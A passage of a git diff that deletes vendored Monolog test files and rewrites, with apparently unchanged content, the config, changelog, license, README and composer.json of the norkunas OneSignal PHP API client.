SIG_IGN); - - $logger = new Logger('test', array($handler = new TestHandler)); - $errHandler = new SignalHandler($logger); - $previousCalled = 0; - pcntl_signal(SIGURG, function ($signo, array $siginfo = null) use (&$previousCalled) { - ++$previousCalled; - }); - $errHandler->registerSignalHandler(SIGURG, LogLevel::INFO, $callPrevious, false, false); - $this->assertTrue(posix_kill(posix_getpid(), SIGURG)); - $this->assertTrue(pcntl_signal_dispatch()); - $this->assertCount(1, $handler->getRecords()); - $this->assertTrue($handler->hasInfoThatContains('SIGURG')); - $this->assertSame($callPrevious ? 1 : 0, $previousCalled); - } - - public function callablePreviousProvider() - { - return array( - array(false), - array(true), - ); - } - - /** - * @dataProvider restartSyscallsProvider - * @depends testRegisterDefaultPreviousSignalHandler - * @requires function pcntl_fork - * @requires function pcntl_waitpid - */ - public function testRegisterSyscallRestartingSignalHandler($restartSyscalls) - { - $this->setSignalHandler(SIGURG, SIG_IGN); - - $parentPid = posix_getpid(); - $microtime = microtime(true); - - $pid = pcntl_fork(); - if ($pid === 0) { // Child. - usleep(100000); - posix_kill($parentPid, SIGURG); - usleep(100000); - exit(); - } - - $this->assertNotSame(-1, $pid); - $logger = new Logger('test', array($handler = new TestHandler)); - $errHandler = new SignalHandler($logger); - $errHandler->registerSignalHandler(SIGURG, LogLevel::INFO, false, $restartSyscalls, false); - if ($restartSyscalls) { - // pcntl_wait is expected to be restarted after the signal handler. - $this->assertNotSame(-1, pcntl_waitpid($pid, $status)); - } else { - // pcntl_wait is expected to be interrupted when the signal handler is invoked. - $this->assertSame(-1, pcntl_waitpid($pid, $status)); - } - $this->assertSame($restartSyscalls, microtime(true) - $microtime > 0.15); - $this->assertTrue(pcntl_signal_dispatch()); - $this->assertCount(1, $handler->getRecords()); - if ($restartSyscalls) { - // The child has already exited. - $this->assertSame(-1, pcntl_waitpid($pid, $status)); - } else { - // The child has not exited yet. - $this->assertNotSame(-1, pcntl_waitpid($pid, $status)); - } - } - - public function restartSyscallsProvider() - { - return array( - array(false), - array(true), - array(false), - array(true), - ); - } - - /** - * @dataProvider asyncProvider - * @depends testRegisterDefaultPreviousSignalHandler - * @requires function pcntl_async_signals - */ - public function testRegisterAsyncSignalHandler($initialAsync, $desiredAsync, $expectedBefore, $expectedAfter) - { - $this->setSignalHandler(SIGURG, SIG_IGN); - pcntl_async_signals($initialAsync); - - $logger = new Logger('test', array($handler = new TestHandler)); - $errHandler = new SignalHandler($logger); - $errHandler->registerSignalHandler(SIGURG, LogLevel::INFO, false, false, $desiredAsync); - $this->assertTrue(posix_kill(posix_getpid(), SIGURG)); - $this->assertCount($expectedBefore, $handler->getRecords()); - $this->assertTrue(pcntl_signal_dispatch()); - $this->assertCount($expectedAfter, $handler->getRecords()); - } - - public function asyncProvider() - { - return array( - array(false, false, 0, 1), - array(false, null, 0, 1), - array(false, true, 1, 1), - array(true, false, 0, 1), - array(true, null, 1, 1), - array(true, true, 1, 1), - ); - } - -} diff --git a/vendor/monolog/monolog/tests/Monolog/TestCase.php b/vendor/monolog/monolog/tests/Monolog/TestCase.php deleted file mode 100644 index a30038c661..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/TestCase.php +++ /dev/null @@ -1,58 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -class TestCase extends \PHPUnit_Framework_TestCase -{ - /** - * @return array Record - */ - protected function getRecord($level = Logger::WARNING, $message = 'test', $context = array()) - { - return array( - 'message' => $message, - 'context' => $context, - 'level' => $level, - 'level_name' => Logger::getLevelName($level), - 'channel' => 'test', - 'datetime' => \DateTime::createFromFormat('U.u', sprintf('%.6F', microtime(true))), - 'extra' => array(), - ); - } - - /** - * @return array - */ - protected function getMultipleRecords() - { - return array( - $this->getRecord(Logger::DEBUG, 'debug message 1'), - $this->getRecord(Logger::DEBUG, 'debug message 2'), - $this->getRecord(Logger::INFO, 'information'), - $this->getRecord(Logger::WARNING, 'warning'), - $this->getRecord(Logger::ERROR, 'error'), - ); - } - - /** - * @return Monolog\Formatter\FormatterInterface - */ - protected function getIdentityFormatter() - { - $formatter = $this->getMock('Monolog\\Formatter\\FormatterInterface'); - $formatter->expects($this->any()) - ->method('format') - ->will($this->returnCallback(function ($record) { return $record['message']; })); - - return $formatter; - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/UtilsTest.php b/vendor/monolog/monolog/tests/Monolog/UtilsTest.php deleted file mode 100644 index 082024a86a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/UtilsTest.php +++ /dev/null @@ -1,90 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -class UtilsTest extends \PHPUnit_Framework_TestCase -{ - /** - * @param string $expected - * @param string $input - * @dataProvider providePathsToCanonicalize - */ - public function testCanonicalizePath($expected, $input) - { - $this->assertSame($expected, Utils::canonicalizePath($input)); - } - - public function providePathsToCanonicalize() - { - return array( - array('/foo/bar', '/foo/bar'), - array('file://'.getcwd().'/bla', 'file://bla'), - array(getcwd().'/bla', 'bla'), - array(getcwd().'/./bla', './bla'), - array('file:///foo/bar', 'file:///foo/bar'), - array('any://foo', 'any://foo'), - array('\\\\network\path', '\\\\network\path'), - ); - } - - /** - * @param int $code - * @param string $msg - * @dataProvider providesHandleJsonErrorFailure - */ - public function testHandleJsonErrorFailure($code, $msg) - { - $this->setExpectedException('RuntimeException', $msg); - Utils::handleJsonError($code, 'faked'); - } - - public function providesHandleJsonErrorFailure() - { - return array( - 'depth' => array(JSON_ERROR_DEPTH, 'Maximum stack depth exceeded'), - 'state' => array(JSON_ERROR_STATE_MISMATCH, 'Underflow or the modes mismatch'), - 'ctrl' => array(JSON_ERROR_CTRL_CHAR, 'Unexpected control character found'), - 'default' => array(-1, 'Unknown error'), - ); - } - - /** - * @param mixed $in Input - * @param mixed $expect Expected output - * @covers Monolog\Formatter\NormalizerFormatter::detectAndCleanUtf8 - * @dataProvider providesDetectAndCleanUtf8 - */ - public function testDetectAndCleanUtf8($in, $expect) - { - Utils::detectAndCleanUtf8($in); - $this->assertSame($expect, $in); - } - - public function providesDetectAndCleanUtf8() - { - $obj = new \stdClass; - - return array( - 'null' => array(null, null), - 'int' => array(123, 123), - 'float' => array(123.45, 123.45), - 'bool false' => array(false, false), - 'bool true' => array(true, true), - 'ascii string' => array('abcdef', 'abcdef'), - 'latin9 string' => array("\xB1\x31\xA4\xA6\xA8\xB4\xB8\xBC\xBD\xBE\xFF", '±1€ŠšŽžŒœŸÿ'), - 'unicode string' => array('¤¦¨´¸¼½¾€ŠšŽžŒœŸ', '¤¦¨´¸¼½¾€ŠšŽžŒœŸ'), - 'empty array' => array(array(), array()), - 'array' => array(array('abcdef'), array('abcdef')), - 'object' => array($obj, $obj), - ); - } -} diff --git a/vendor/monolog/monolog/tests/bootstrap.php b/vendor/monolog/monolog/tests/bootstrap.php deleted file mode 100644 index fedc5caf0f..0000000000 --- a/vendor/monolog/monolog/tests/bootstrap.php +++ /dev/null @@ -1,9 +0,0 @@ -= 70400) { - error_reporting(E_ALL & ~E_DEPRECATED); -} else { - error_reporting(E_ALL); -} - -include __DIR__.'/../vendor/autoload.php'; \ No newline at end of file diff --git a/vendor/norkunas/onesignal-php-api/.editorconfig b/vendor/norkunas/onesignal-php-api/.editorconfig deleted file mode 100644 index cd9a60c510..0000000000 --- a/vendor/norkunas/onesignal-php-api/.editorconfig +++ /dev/null @@ -1,26 +0,0 @@ -# http://editorconfig.org - -root = true - -[*] -charset = utf-8 -end_of_line = lf -indent_style = space -insert_final_newline = true -trim_trailing_whitespace = true - -[*.php] -indent_size = 4 - -[composer.json] -indent_size = 4 - -[*.yml] -indent_size = 4 - -[*.{neon,neon.dist}] -indent_style = tab -indent_size = 4 - -[*.md] -trim_trailing_whitespace = false diff --git a/vendor/norkunas/onesignal-php-api/.php-cs-fixer.dist.php b/vendor/norkunas/onesignal-php-api/.php-cs-fixer.dist.php index 7e36fc7654..4f50cc9b9c 100644 --- a/vendor/norkunas/onesignal-php-api/.php-cs-fixer.dist.php +++ b/vendor/norkunas/onesignal-php-api/.php-cs-fixer.dist.php @@ -1,31 +1,31 @@ -in([ - __DIR__.'/src', - __DIR__.'/tests', - ]); - -return (new PhpCsFixer\Config()) - ->setRiskyAllowed(true) - ->setRules([ - '@Symfony' => true, - '@PHP70Migration' => true, - '@PHP70Migration:risky' => true, - '@PHP71Migration:risky' => true, - '@PHP73Migration' => true, - 'linebreak_after_opening_tag' => true, - 'global_namespace_import' => [ - 'import_classes' => true, - 'import_constants' => true, - 'import_functions' => true, - ], - 'ordered_imports' => [ - 'imports_order' => ['class', 'const', 'function'], - ], - 'yoda_style' => false, - 'static_lambda' => true, - 'align_multiline_comment' => true, - 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], - ]) - ->setFinder($finder); +in([ + __DIR__.'/src', + __DIR__.'/tests', + ]); + +return (new PhpCsFixer\Config()) + ->setRiskyAllowed(true) + ->setRules([ + '@Symfony' => true, + '@PHP70Migration' => true, + '@PHP70Migration:risky' => true, + '@PHP71Migration:risky' => true, + '@PHP73Migration' => true, + 'linebreak_after_opening_tag' => true, + 'global_namespace_import' => [ + 'import_classes' => true, + 'import_constants' => true, + 'import_functions' => true, + ], + 'ordered_imports' => [ + 'imports_order' => ['class', 'const', 'function'], + ], + 'yoda_style' => false, + 'static_lambda' => true, + 'align_multiline_comment' => true, + 'php_unit_test_case_static_method_calls' => ['call_type' => 'self'], + ]) + ->setFinder($finder); diff --git a/vendor/norkunas/onesignal-php-api/CHANGELOG.md b/vendor/norkunas/onesignal-php-api/CHANGELOG.md index 67f953a5b8..d81829dca6 100644 --- a/vendor/norkunas/onesignal-php-api/CHANGELOG.md +++ b/vendor/norkunas/onesignal-php-api/CHANGELOG.md @@ -1,59 +1,59 @@ -# Changelog - -## Version 2.7.0 - -- Additional SMS related fields (on the Notifications payload) - -## Version 2.6.0 - -- Add ability to update device IP address -- add "name" to Notifications payload - -## Version 2.5.0 - -- Implement 'Edit tags with external user id' API endpoint -- Implement View Outcomes endpoint - -## Version 2.4.0 - -- Add new device types - -## Version 2.3.0 - -- Add app_url option in NotificationResolver - -## Version 2.2.0 - -- Add channel_for_external_user_ids option in NotificationResolver - -## Version 2.1.1 - -- Allow to install on php 8.0 - -## Version 2.1.0 - -- Add "kind" argument to notifications getAll method - -## Version 2.0.3 - -- Add field "include_email_tokens" - -## Version 2.0.2 - -- Add field "apns_push_type_override" - -## Version 2.0.1 - -- Add missed chrome_web_badge option to NotificationResolver -- Add create/update segments and notification history examples to readme - -## Version 2.0.0 - -- At least PHP 7.3 version is now required. -- `OneSignal\OneSignal` client now requires always to provide `OneSignal\Config`. -- `OneSignal\OneSignal` client now expects `Psr\Http\Client\ClientInterface` as a second arguments instead of `Http\Client\Common\HttpMethodsClient` and is mandatory. -- `OneSignal\OneSignal` client now requires always to provide `Psr\Http\Message\RequestFactoryInterface` as a third argument and `Psr\Http\Message\StreamFactoryInterface` as a fourth argument. -- Replaced magic __get method with __call in `OneSignal\OneSignal`, so from now calls like -`$oneSignal->apps` must be used as `$oneSignal->apps()`. It is better to use Dependency injection, because these calls will construct new instances. -- Removed `OneSignal\Exception\OneSignalException` and added `OneSignal\Exception\OneSignalExceptionInterface`. -- Removed `setConfig` and `setClient` methods in `OneSignal\OneSignal`. You can build new instances with different configs or http clients. +# Changelog + +## Version 2.7.0 + +- Additional SMS related fields (on the Notifications payload) + +## Version 2.6.0 + +- Add ability to update device IP address +- add "name" to Notifications payload + +## Version 2.5.0 + +- Implement 'Edit tags with external user id' API endpoint +- Implement View Outcomes endpoint + +## Version 2.4.0 + +- Add new device types + +## Version 2.3.0 + +- Add app_url option in NotificationResolver + +## Version 2.2.0 + +- Add channel_for_external_user_ids option in NotificationResolver + +## Version 2.1.1 + +- Allow to install on php 8.0 + +## Version 2.1.0 + +- Add "kind" argument to notifications getAll method + +## Version 2.0.3 + +- Add field "include_email_tokens" + +## Version 2.0.2 + +- Add field "apns_push_type_override" + +## Version 2.0.1 + +- Add missed chrome_web_badge option to NotificationResolver +- Add create/update segments and notification history examples to readme + +## Version 2.0.0 + +- At least PHP 7.3 version is now required. +- `OneSignal\OneSignal` client now requires always to provide `OneSignal\Config`. +- `OneSignal\OneSignal` client now expects `Psr\Http\Client\ClientInterface` as a second arguments instead of `Http\Client\Common\HttpMethodsClient` and is mandatory. +- `OneSignal\OneSignal` client now requires always to provide `Psr\Http\Message\RequestFactoryInterface` as a third argument and `Psr\Http\Message\StreamFactoryInterface` as a fourth argument. +- Replaced magic __get method with __call in `OneSignal\OneSignal`, so from now calls like +`$oneSignal->apps` must be used as `$oneSignal->apps()`. It is better to use Dependency injection, because these calls will construct new instances. +- Removed `OneSignal\Exception\OneSignalException` and added `OneSignal\Exception\OneSignalExceptionInterface`. +- Removed `setConfig` and `setClient` methods in `OneSignal\OneSignal`. You can build new instances with different configs or http clients. diff --git a/vendor/norkunas/onesignal-php-api/LICENSE b/vendor/norkunas/onesignal-php-api/LICENSE index 407bee9388..05ee0f35ed 100644 --- a/vendor/norkunas/onesignal-php-api/LICENSE +++ b/vendor/norkunas/onesignal-php-api/LICENSE @@ -1,21 +1,21 @@ -The MIT License (MIT) - -Copyright (c) 2016 Tomas Norkūnas - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. +The MIT License (MIT) + +Copyright (c) 2016 Tomas Norkūnas + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/vendor/norkunas/onesignal-php-api/README.md b/vendor/norkunas/onesignal-php-api/README.md index 9e39de54f7..c19cb2c8f9 100644 --- a/vendor/norkunas/onesignal-php-api/README.md +++ b/vendor/norkunas/onesignal-php-api/README.md @@ -1,237 +1,237 @@ -# OneSignal API for PHP - -[![Latest Stable Version](https://img.shields.io/packagist/v/norkunas/onesignal-php-api.svg?color=%23039be5)](https://packagist.org/packages/norkunas/onesignal-php-api) -[![Scrutinizer Code Quality](https://img.shields.io/scrutinizer/g/norkunas/onesignal-php-api.svg?color=%23039be5)](https://scrutinizer-ci.com/g/norkunas/onesignal-php-api) -[![Total Downloads](https://img.shields.io/packagist/dt/norkunas/onesignal-php-api.svg?color=%23039be5)](https://packagist.org/packages/norkunas/onesignal-php-api/stats) -![GitHub Workflow Status](https://img.shields.io/github/workflow/status/norkunas/onesignal-php-api/CI?color=%23039be5) -[![Software License](https://img.shields.io/github/license/norkunas/onesignal-php-api?color=%23039be5)](LICENSE) - -## Install - -Note: All examples are for v2, if you are using PHP <7.3 please read [v1 documentation](https://github.com/norkunas/onesignal-php-api/blob/1.0/README.md). - -This packages requires a PSR-18 HTTP client and PSR-17 HTTP factories to work. You can choose any from -[psr/http-client-implementation](https://packagist.org/providers/psr/http-client-implementation) -and [psr/http-factory-implementation](https://packagist.org/providers/psr/http-factory-implementation) - -Example with Symfony HttpClient and nyholm/psr7 http factories, install it with [Composer](https://getcomposer.org/): - -``` -composer require symfony/http-client nyholm/psr7 norkunas/onesignal-php-api -``` - -And now configure the OneSignal api client: - -```php -apps()->getAll(); -``` - -View the details of a single OneSignal application ([official documentation](https://documentation.onesignal.com/reference#view-an-app)): - -```php -$myApp = $oneSignal->apps()->getOne('application_id'); -``` - -Create a new OneSignal app ([official documentation](https://documentation.onesignal.com/reference#create-an-app)): - -```php -$newApp = $oneSignal->apps()->add([ - 'name' => 'app name', - 'gcm_key' => 'key' -]); -``` - -Update the name or configuration settings of OneSignal application ([official documentation](https://documentation.onesignal.com/reference#update-an-app)): - -```php -$oneSignal->apps()->update('application_id', [ - 'name' => 'new app name' -]); -``` - -Create Segments ([official documentation](https://documentation.onesignal.com/reference#create-segments)): - -```php -$oneSignal->apps()->createSegment('application_id', [ - 'name' => 'Segment Name', - 'filters' => [ - ['field' => 'session_count', 'relation' => '>', 'value' => 1], - ['operator' => 'AND'], - ['field' => 'tag', 'relation' => '!=', 'key' => 'tag_key', 'value' => '1'], - ['operator' => 'OR'], - ['field' => 'last_session', 'relation' => '<', 'value' => '30,'], - ], -]); -``` - -Delete Segments ([official documentation](https://documentation.onesignal.com/reference#delete-segments)): - -```php -$oneSignal->apps()->deleteSegment('application_id', 'segment_id'); -``` - -View the details of all the outcomes associated with your app ([official documentation](https://documentation.onesignal.com/reference/view-outcomes)): - -```php -use OneSignal\Apps; -use OneSignal\Devices; - -$outcomes = $oneSignal->apps()->outcomes('application_id', [ - 'outcome_names' => [ - 'os__session_duration.count', - 'os__click.count', - 'Sales, Purchase.sum', - ], - 'outcome_time_range' => Apps::OUTCOME_TIME_RANGE_MONTH, - 'outcome_platforms' => [Devices::IOS, Devices::ANDROID], - 'outcome_attribution' => Apps::OUTCOME_ATTRIBUTION_DIRECT, -]); -``` - -### Devices API - -View the details of multiple devices in one of your OneSignal apps ([official documentation](https://documentation.onesignal.com/reference#view-devices)): - -```php -$devices = $oneSignal->devices()->getAll(); -``` - -View the details of an existing device in your configured OneSignal application ([official documentation](https://documentation.onesignal.com/reference#view-device)): - -```php -$device = $oneSignal->devices()->getOne('device_id'); -``` - -Register a new device to your configured OneSignal application ([official documentation](https://documentation.onesignal.com/reference#add-a-device)): - -```php -use OneSignal\Devices; - -$newDevice = $oneSignal->devices()->add([ - 'device_type' => Devices::ANDROID, - 'identifier' => 'abcdefghijklmn', -]); -``` - -Update an existing device in your configured OneSignal application ([official documentation](https://documentation.onesignal.com/reference#edit-device)): - -```php -$oneSignal->devices()->update('device_id', [ - 'session_count' => 2, - 'ip' => '127.0.0.1', // Optional. New IP Address of your device -]); -``` - -Update an existing device's tags in one of your OneSignal apps using the External User ID ([official documentation](https://documentation.onesignal.com/reference/edit-tags-with-external-user-id)): - -```php -$externalUserId = '12345'; -$response = $oneSignal->devices()->editTags($externalUserId, [ - 'tags' => [ - 'a' => '1', - 'foo' => '', - ], -]); -``` - -### Notifications API - -View the details of multiple notifications ([official documentation](https://documentation.onesignal.com/reference#view-notifications)): - -```php -$notifications = $oneSignal->notifications()->getAll(); -``` - -Get the details of a single notification ([official documentation](https://documentation.onesignal.com/reference#view-notification)): - -```php -$notification = $oneSignal->notifications()->getOne('notification_id'); -``` - -Create and send notifications or emails to a segment or individual users. -You may target users in one of three ways using this method: by Segment, by -Filter, or by Device (at least one targeting parameter must be specified) ([official documentation](https://documentation.onesignal.com/reference#create-notification)): - -```php -$oneSignal->notifications()->add([ - 'contents' => [ - 'en' => 'Notification message' - ], - 'included_segments' => ['All'], - 'data' => ['foo' => 'bar'], - 'isChrome' => true, - 'send_after' => new \DateTime('1 hour'), - 'filters' => [ - [ - 'field' => 'tag', - 'key' => 'is_vip', - 'relation' => '!=', - 'value' => 'true', - ], - [ - 'operator' => 'OR', - ], - [ - 'field' => 'tag', - 'key' => 'is_admin', - 'relation' => '=', - 'value' => 'true', - ], - ], - // ..other options -]); -``` - -Mark notification as opened ([official documentation](https://documentation.onesignal.com/reference#track-open)): - -```php -$oneSignal->notifications()->open('notification_id'); -``` - -Stop a scheduled or currently outgoing notification ([official documentation](https://documentation.onesignal.com/reference#cancel-notification)): - -```php -$oneSignal->notifications()->cancel('notification_id'); -``` - -Notification History ([official documentation](https://documentation.onesignal.com/reference#notification-history)): - -```php -$oneSignal->notifications()->history('notification_id', [ - 'events' => 'clicked', // or 'sent' - 'email' => 'your_email@email.com', -]); -``` - -## Questions? - -If you have any questions please [open a discussion](https://github.com/norkunas/onesignal-php-api/discussions/new). - -## License - -This library is released under the MIT License. See the bundled [LICENSE](https://github.com/norkunas/onesignal-php-api/blob/master/LICENSE) file for details. +# OneSignal API for PHP + +[![Latest Stable Version](https://img.shields.io/packagist/v/norkunas/onesignal-php-api.svg?color=%23039be5)](https://packagist.org/packages/norkunas/onesignal-php-api) +[![Scrutinizer Code Quality](https://img.shields.io/scrutinizer/g/norkunas/onesignal-php-api.svg?color=%23039be5)](https://scrutinizer-ci.com/g/norkunas/onesignal-php-api) +[![Total Downloads](https://img.shields.io/packagist/dt/norkunas/onesignal-php-api.svg?color=%23039be5)](https://packagist.org/packages/norkunas/onesignal-php-api/stats) +![GitHub Workflow Status](https://img.shields.io/github/workflow/status/norkunas/onesignal-php-api/CI?color=%23039be5) +[![Software License](https://img.shields.io/github/license/norkunas/onesignal-php-api?color=%23039be5)](LICENSE) + +## Install + +Note: All examples are for v2, if you are using PHP <7.3 please read [v1 documentation](https://github.com/norkunas/onesignal-php-api/blob/1.0/README.md). + +This packages requires a PSR-18 HTTP client and PSR-17 HTTP factories to work. You can choose any from +[psr/http-client-implementation](https://packagist.org/providers/psr/http-client-implementation) +and [psr/http-factory-implementation](https://packagist.org/providers/psr/http-factory-implementation) + +Example with Symfony HttpClient and nyholm/psr7 http factories, install it with [Composer](https://getcomposer.org/): + +``` +composer require symfony/http-client nyholm/psr7 norkunas/onesignal-php-api +``` + +And now configure the OneSignal api client: + +```php +apps()->getAll(); +``` + +View the details of a single OneSignal application ([official documentation](https://documentation.onesignal.com/reference#view-an-app)): + +```php +$myApp = $oneSignal->apps()->getOne('application_id'); +``` + +Create a new OneSignal app ([official documentation](https://documentation.onesignal.com/reference#create-an-app)): + +```php +$newApp = $oneSignal->apps()->add([ + 'name' => 'app name', + 'gcm_key' => 'key' +]); +``` + +Update the name or configuration settings of OneSignal application ([official documentation](https://documentation.onesignal.com/reference#update-an-app)): + +```php +$oneSignal->apps()->update('application_id', [ + 'name' => 'new app name' +]); +``` + +Create Segments ([official documentation](https://documentation.onesignal.com/reference#create-segments)): + +```php +$oneSignal->apps()->createSegment('application_id', [ + 'name' => 'Segment Name', + 'filters' => [ + ['field' => 'session_count', 'relation' => '>', 'value' => 1], + ['operator' => 'AND'], + ['field' => 'tag', 'relation' => '!=', 'key' => 'tag_key', 'value' => '1'], + ['operator' => 'OR'], + ['field' => 'last_session', 'relation' => '<', 'value' => '30,'], + ], +]); +``` + +Delete Segments ([official documentation](https://documentation.onesignal.com/reference#delete-segments)): + +```php +$oneSignal->apps()->deleteSegment('application_id', 'segment_id'); +``` + +View the details of all the outcomes associated with your app ([official documentation](https://documentation.onesignal.com/reference/view-outcomes)): + +```php +use OneSignal\Apps; +use OneSignal\Devices; + +$outcomes = $oneSignal->apps()->outcomes('application_id', [ + 'outcome_names' => [ + 'os__session_duration.count', + 'os__click.count', + 'Sales, Purchase.sum', + ], + 'outcome_time_range' => Apps::OUTCOME_TIME_RANGE_MONTH, + 'outcome_platforms' => [Devices::IOS, Devices::ANDROID], + 'outcome_attribution' => Apps::OUTCOME_ATTRIBUTION_DIRECT, +]); +``` + +### Devices API + +View the details of multiple devices in one of your OneSignal apps ([official documentation](https://documentation.onesignal.com/reference#view-devices)): + +```php +$devices = $oneSignal->devices()->getAll(); +``` + +View the details of an existing device in your configured OneSignal application ([official documentation](https://documentation.onesignal.com/reference#view-device)): + +```php +$device = $oneSignal->devices()->getOne('device_id'); +``` + +Register a new device to your configured OneSignal application ([official documentation](https://documentation.onesignal.com/reference#add-a-device)): + +```php +use OneSignal\Devices; + +$newDevice = $oneSignal->devices()->add([ + 'device_type' => Devices::ANDROID, + 'identifier' => 'abcdefghijklmn', +]); +``` + +Update an existing device in your configured OneSignal application ([official documentation](https://documentation.onesignal.com/reference#edit-device)): + +```php +$oneSignal->devices()->update('device_id', [ + 'session_count' => 2, + 'ip' => '127.0.0.1', // Optional. New IP Address of your device +]); +``` + +Update an existing device's tags in one of your OneSignal apps using the External User ID ([official documentation](https://documentation.onesignal.com/reference/edit-tags-with-external-user-id)): + +```php +$externalUserId = '12345'; +$response = $oneSignal->devices()->editTags($externalUserId, [ + 'tags' => [ + 'a' => '1', + 'foo' => '', + ], +]); +``` + +### Notifications API + +View the details of multiple notifications ([official documentation](https://documentation.onesignal.com/reference#view-notifications)): + +```php +$notifications = $oneSignal->notifications()->getAll(); +``` + +Get the details of a single notification ([official documentation](https://documentation.onesignal.com/reference#view-notification)): + +```php +$notification = $oneSignal->notifications()->getOne('notification_id'); +``` + +Create and send notifications or emails to a segment or individual users. +You may target users in one of three ways using this method: by Segment, by +Filter, or by Device (at least one targeting parameter must be specified) ([official documentation](https://documentation.onesignal.com/reference#create-notification)): + +```php +$oneSignal->notifications()->add([ + 'contents' => [ + 'en' => 'Notification message' + ], + 'included_segments' => ['All'], + 'data' => ['foo' => 'bar'], + 'isChrome' => true, + 'send_after' => new \DateTime('1 hour'), + 'filters' => [ + [ + 'field' => 'tag', + 'key' => 'is_vip', + 'relation' => '!=', + 'value' => 'true', + ], + [ + 'operator' => 'OR', + ], + [ + 'field' => 'tag', + 'key' => 'is_admin', + 'relation' => '=', + 'value' => 'true', + ], + ], + // ..other options +]); +``` + +Mark notification as opened ([official documentation](https://documentation.onesignal.com/reference#track-open)): + +```php +$oneSignal->notifications()->open('notification_id'); +``` + +Stop a scheduled or currently outgoing notification ([official documentation](https://documentation.onesignal.com/reference#cancel-notification)): + +```php +$oneSignal->notifications()->cancel('notification_id'); +``` + +Notification History ([official documentation](https://documentation.onesignal.com/reference#notification-history)): + +```php +$oneSignal->notifications()->history('notification_id', [ + 'events' => 'clicked', // or 'sent' + 'email' => 'your_email@email.com', +]); +``` + +## Questions? + +If you have any questions please [open a discussion](https://github.com/norkunas/onesignal-php-api/discussions/new). + +## License + +This library is released under the MIT License. See the bundled [LICENSE](https://github.com/norkunas/onesignal-php-api/blob/master/LICENSE) file for details. diff --git a/vendor/norkunas/onesignal-php-api/composer.json b/vendor/norkunas/onesignal-php-api/composer.json index 38a61f519d..8793da28b8 100644 --- a/vendor/norkunas/onesignal-php-api/composer.json +++ b/vendor/norkunas/onesignal-php-api/composer.json @@ -1,46 +1,46 @@ -{ - "name": "norkunas/onesignal-php-api", - "description": "OneSignal API for PHP", - "keywords": ["onesignal", "api", "notifications", "push", "apns", "gcm"], - "license": "MIT", - "authors": [ - { - "name": "Tomas Norkūnas", - "email": "norkunas.tom@gmail.com" - } - ], - "require": { - "php": ">=7.3", - "ext-json": "*", - "psr/http-client": "^1.0", - "psr/http-client-implementation": "^1.0", - "psr/http-factory": "^1.0", - "psr/http-factory-implementation": "^1.0", - "symfony/deprecation-contracts": "^2.1", - "symfony/options-resolver": "^4.4|^5.0" - }, - "require-dev": { - "friendsofphp/php-cs-fixer": "^3.1", - "nyholm/psr7": "^1.2", - "phpstan/phpstan": "^0.12", - "phpstan/phpstan-phpunit": "^0.12", - "symfony/http-client": "^5.0", - "symfony/phpunit-bridge": "^5.3" - }, - "autoload": { - "psr-4": { "OneSignal\\": "src/" } - }, - "autoload-dev": { - "psr-4": { - "OneSignal\\Tests\\": "tests/" - } - }, - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "config": { - "sort-packages": true - } -} +{ + "name": "norkunas/onesignal-php-api", + "description": "OneSignal API for PHP", + "keywords": ["onesignal", "api", "notifications", "push", "apns", "gcm"], + "license": "MIT", + "authors": [ + { + "name": "Tomas Norkūnas", + "email": "norkunas.tom@gmail.com" + } + ], + "require": { + "php": ">=7.3", + "ext-json": "*", + "psr/http-client": "^1.0", + "psr/http-client-implementation": "^1.0", + "psr/http-factory": "^1.0", + "psr/http-factory-implementation": "^1.0", + "symfony/deprecation-contracts": "^2.1", + "symfony/options-resolver": "^4.4|^5.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^3.1", + "nyholm/psr7": "^1.2", + "phpstan/phpstan": "^0.12", + "phpstan/phpstan-phpunit": "^0.12", + "symfony/http-client": "^5.0", + "symfony/phpunit-bridge": "^5.3" + }, + "autoload": { + "psr-4": { "OneSignal\\": "src/" } + }, + "autoload-dev": { + "psr-4": { + "OneSignal\\Tests\\": "tests/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "config": { + "sort-packages": true + } +} diff --git a/vendor/norkunas/onesignal-php-api/phpstan.neon.dist b/vendor/norkunas/onesignal-php-api/phpstan.neon.dist index 305d7fa8b3..d8bc03a26e 100644 